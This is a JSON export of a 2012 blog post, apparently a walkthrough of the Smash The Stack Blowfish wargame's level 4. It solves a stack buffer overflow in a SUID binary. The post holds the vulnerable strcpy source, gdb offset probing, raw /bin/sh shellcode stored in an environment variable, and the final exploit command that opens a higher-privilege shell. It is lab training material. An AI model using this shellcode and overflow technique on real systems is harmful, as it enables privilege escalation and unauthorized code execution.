{"id":89,"date":"2012-07-27T19:51:14","date_gmt":"2012-07-28T02:51:14","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=89"},"modified":"2012-07-28T11:25:47","modified_gmt":"2012-07-28T18:25:47","slug":"blowfish-level4-simplest-of-simple-buffer-overflows","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=89","title":{"rendered":"Blowfish Level4 – Simplest of simple buffer overflows"},"content":{"rendered":"

Welcome back for another installment from our Blowfish<\/a> wargaming series, here at Technolution. \u00a0Of course, Blowfish is brought to you by the wonderful folks over at Smash The Stack<\/a>. \u00a0Today we will be looking at level4. \u00a0Everyone should have the level4 pass from the previous level and should be able to ssh into the server. \u00a0Go a head and ssh in, and let’s get started.<\/p>\n

Once there we should remember that on Blowfish, the binaries we’ll be exploiting are in the \/levels directory. \u00a0Upon getting a listing of that directory we see two useful files, level4.c and the level4 SUID binary. \u00a0Lets read the source file to see what we’re working with:<\/p>\n

level4@blowfish:\/levels$ more level4.c
\n#include <stdio.h><\/p>\n

int main(int argc, char * argv[]) {<\/p>\n

char buf[256];<\/p>\n

if(argc == 1) {
\nprintf(“Usage: %s input\\n”, argv[0]);
\nexit(0);
\n}<\/p>\n

strcpy(buf,argv[1]);
\nprintf(“%s”, buf);<\/p>\n

}<\/p><\/blockquote>\n

Interesting. \u00a0From looking at the source file we see unsafe use of strcpy. \u00a0From this implementation, we can overflow buf if we can control argv[1]. \u00a0Lucky argv[1] is the first command line argument passed to the program, which is something we can easily control! \u00a0Looking at the size of buf we know we’ll need at least 256 bytes. \u00a0So let’s attempt a few runs of the program in gdb to see how many bytes we need to fill before we can overwrite the return address of the stack!<\/p>\n

level4@blowfish:\/levels$ gdb level4
\n(gdb) run `perl -e ‘print “A”x280,”BBBB”‘`
\nStarting program: \/levels\/level4 `perl -e ‘print “A”x280,”BBBB”‘`<\/p>\n

Program received signal SIGSEGV, Segmentation fault.
\n0x41414141 in ?? ()<\/p>\n

(gdb) run `perl -e ‘print “A”x275,”BBBB”‘`<\/p>\n

The program being debugged has been started already.
\nStart it from the beginning? (y or n) y<\/p>\n

Starting program: \/levels\/level4 `perl -e ‘print “A”x275,”BBBB”‘`<\/p>\n

Program received signal SIGSEGV, Segmentation fault.
\n0x41414141 in ?? ()
\n(gdb) run `perl -e ‘print “A”x270,”BBBB”‘`
\nThe program being debugged has been started already.
\nStart it from the beginning? (y or n) y<\/p>\n

Starting program: \/levels\/level4 `perl -e ‘print “A”x270,”BBBB”‘`<\/p>\n

Program received signal SIGSEGV, Segmentation fault.
\n0x42424141 in ?? ()
\n(gdb) run `perl -e ‘print “A”x268,”BBBB”‘`
\nThe program being debugged has been started already.
\nStart it from the beginning? (y or n) y<\/p>\n

Starting program: \/levels\/level4 `perl -e ‘print “A”x268,”BBBB”‘`<\/p>\n

Program received signal SIGSEGV, Segmentation fault.
\n0x42424242 in ?? ()<\/p><\/blockquote>\n

There we have it, 268 bytes until we’re positioned to overwrite the return address and take control of the flow of execution. \u00a0Next we need to place shellcode in memory. \u00a0We’ll be placing our shellcode in an environmental variable called SHELLCODE. \u00a0Let’s look at the command to do this:<\/p>\n

level4@blowfish:\/levels$ export SHELLCODE=$’\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90
\n\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e
\n\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69
\n\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80′<\/p><\/blockquote>\n

Now that our shellcode is in memory, we need to get it’s starting memory address. \u00a0We will use a C program that takes an environmental variable as an argument and returns it’s starting memory location. \u00a0This program is as follows:<\/p>\n

#include <stdio.h>
\n#include <stdlib.h><\/p>\n

int main(int argc, char *argv[])
\n{
\nif(!argv[1])
\nexit(1);
\nprintf(“%#x\\n”, getenv(argv[1]));
\nreturn 0;
\n}<\/p><\/blockquote>\n

Let’s compile and use the above program:<\/p>\n

level4@blowfish:\/levels$ mkdir \/tmp\/.somedir
\nlevel4@blowfish:\/levels$ vi \/tmp\/.somedir\/getmem.c
\nlevel4@blowfish:\/levels$ gcc \/tmp\/.somedir\/getmem.c -o \/tmp\/.somedir\/getmem
\nlevel4@blowfish:\/levels$ \/tmp\/.somedir\/getmem SHELLCODE
\n0xbfffd9eb<\/p><\/blockquote>\n

Now that we have our starting memory location of our shellcode, we can combine it with our buffer overflow to re-route program execution:<\/p>\n

level4@blowfish:\/levels$ \/levels\/level4 `perl -e ‘print “A”x268,”\\xef\\xd9\\xff\\xbf”‘`
\nsh-3.2$ whoami
\nlevel5<\/p><\/blockquote>\n

Bam! \u00a0Level 4 is complete. \u00a0Again, a simple buffer overflow. \u00a0Now a days, we have to specifically compile programs\u00a0to be vulnerable<\/em>\u00a0to this type of attack. \u00a0However, the safety mechanism implemented don’t prevent buffer overflows, they simply try to catch and respond to overflows without losing control, or allowing arbitrary code execution. \u00a0In future levels we may run into some of the prevention mechanisms, but for now, that’s all folks!<\/p>\n","protected":false},"excerpt":{"rendered":"

Welcome back for another installment from our Blowfish wargaming series, here at Technolution. \u00a0Of course, Blowfish is brought to you by the wonderful folks over at Smash The Stack. \u00a0Today we will be looking at level4. \u00a0Everyone should have the … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,6,4],"tags":[27,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/89"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=89"}],"version-history":[{"count":5,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions"}],"predecessor-version":[{"id":122,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions\/122"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}